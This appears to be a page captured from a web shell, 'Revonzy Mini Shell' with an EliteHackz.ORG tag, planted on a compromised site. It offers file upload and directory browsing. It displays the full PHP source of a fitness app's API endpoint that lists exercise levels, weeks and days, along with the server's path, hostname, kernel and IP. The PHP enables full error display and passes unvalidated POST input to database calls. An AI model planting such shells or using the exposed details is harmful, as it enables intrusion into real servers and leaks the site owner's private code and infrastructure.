Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/bprisk.online/strongergenadmin/api/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/bprisk.online/strongergenadmin/api/levels-from-category.php

<?php
    ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

	require_once("../lib/function.php");
	$db = new login_function();
	
	$response = array();

    if(isset($_POST['category']))
    {
        $category = $_POST['category'];
        $mobile_number = $_POST['mobile_number'];
        
        $display_data = array();
        
		$column_name	=	"level_two_category";
		$unique_levels	=	array();
		$unique_levels	=	$db->get_distinct_values_for_columns($column_name,$category);
		$levels_start_id = $db->get_starting_id_of_column($column_name,$category);
		
		/***************************************************************/
		$level_data = $unique_levels;
		$main_count = 1;
		if(!empty($level_data))
		{
			$l_counter = intval($levels_start_id);
            foreach($level_data as $level)
            {
                $column_name	=	"week_level";
		        $unique_week	=	array();
        		$unique_week	=	$db->get_distinct_values_for_columns_of_week_data($column_name,$category,$level);
		        $week_start_id = $db->get_starting_id_of_column_from_weeks($column_name,$level);
		        
				$week_data = $unique_week;
				
				if(!empty($week_data))
				{
					$w_counter = intval($week_start_id);
					foreach($week_data as $week)
					{
					    $column_name	=	"level_day";
                		$unique_day		=	array();
                		$unique_day	=	$db->get_distinct_values_for_columns_of_days_data($column_name,$category,$level,$week);
		                $day_start_id = $db->get_starting_id_of_column_for_day($column_name,$level,$week);
		                
						$days_data = $unique_day;
                            
						if(!empty($days_data))
						{
							$d_counter = intval($day_start_id);
							foreach($days_data as $day)
							{
								$excercise_data = array();
                                    
								$excercise_data['level_id'] = $l_counter;
								$excercise_data['level_name'] = "Level ".$level;
								$excercise_data['week_id'] = $w_counter;
								$excercise_data['week_name'] = "Week ".$week;
								$excercise_data['day_id'] = $d_counter;
								$excercise_data['day_name'] = "Day ".$day;
								
								$exist_day = $db->get_day_exist_for_user($mobile_number,$category,$l_counter,$w_counter,$d_counter);
								
								$status = '';
								if($exist_day!="")
								{
									$status = 'yes';
								}
								else
								{
									$status = 'no';
								}
								
								$excercise_data['day_completed_status'] = $status;
								
								//array_push($display_data,$excercise_data);
								if (is_array($display_data)) {
									$cellid =  array_push($display_data,$excercise_data);
								}
								else
								{
									$display_data = $excercise_data;
								}
								
								$main_count++;
								$d_counter++;
							}
						}
						
						$w_counter++;
					}
				}
				$l_counter++;
			}
		}
		
		$response = $display_data;
		
		/***************************************************************/
		
		
		
		//print_r($unique_day);
		/*		
        function get_data($mobile_number,$category,$display_data)
        {
            $db = new login_function();
            
            $level_data = array("1","2","3","4","5");
            $main_count = 1;
            if(!empty($level_data))
            {
                $l_counter = 1;
                foreach($level_data as $level)
                {
                    $week_data = array("1","2","3","4","5");
                    
                    if(!empty($week_data))
                    {
                        $w_counter = 1;
                        foreach($week_data as $week)
                        {
                            $days_data = array("1","2","3","4","5","6","7");
                            
                            if(!empty($days_data))
                            {
                                $d_counter = 1;
                                foreach($days_data as $day)
                                {
                                    
                                   // $display_data[$main_count]['day_completed_status'] = $status;
                                    
                                    $excercise_data = array();
                                    
                                    $excercise_data['level_id'] = "Level l ".$l_counter;
                                    $excercise_data['level_name'] = $level;
                                    $excercise_data['week_id'] = $w_counter;
                                    $excercise_data['week_name'] = $week;
                                    $excercise_data['day_id'] = $d_counter;
                                    $excercise_data['day_name'] = $day;
                                    
                                    $exist_day = $db->get_day_exist_for_user($mobile_number,$category,$l_counter,$w_counter,$d_counter);
                                    
                                    $status = '';
                                    if($exist_day!="")
                                    {
                                        $status = 'yes';
                                    }
                                    else
                                    {
                                        $status = 'no';
                                    }
                                    
                                    $excercise_data['day_completed_status'] = $status;
                                    
                                    //array_push($display_data,$excercise_data);
                                    if (is_array($display_data)) {
                                        $cellid =  array_push($display_data,$excercise_data);
                                    }
                                    else
                                    {
                                        $display_data = $excercise_data;
                                    }
                                    
                                    $main_count++;
                                    $d_counter++;
                                }
                            }

                            $w_counter++;
                        }
                    }
                    
                    $l_counter++;
                }
            }
            
           // print_r($display_data);
            return $display_data;
        }
        
        if($category=="1")
        {
            $response = get_data($mobile_number,$category,$display_data);
        }
        else if($category=="2")
        {
            $response = get_data($mobile_number,$category,$display_data);
        }
        else if($category=="3")
        {
            $response = get_data($mobile_number,$category,$display_data);
        }
        else if($category=="4")
        {
            $response = get_data($mobile_number,$category,$display_data);
        }
        else if($category=="5")
        {
            $response = get_data($mobile_number,$category,$display_data);
        }
        else
        {
            $response["status"] = 0;
            $response["message"] = "No Category Matched";
        }*/
    }
    
    /*$category_data = array("Beginner","Intermediate","Advance","Functional Fit","Balance It");

    if(!empty($category_data))
    {
        $response["status"] = 1;
        $response["message"] = $category_data;
    }
    else
    {
        $response["status"] = 0;
        $response["message"] = "No Category Found";
    }*/
	
  echo json_encode($response);
?>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4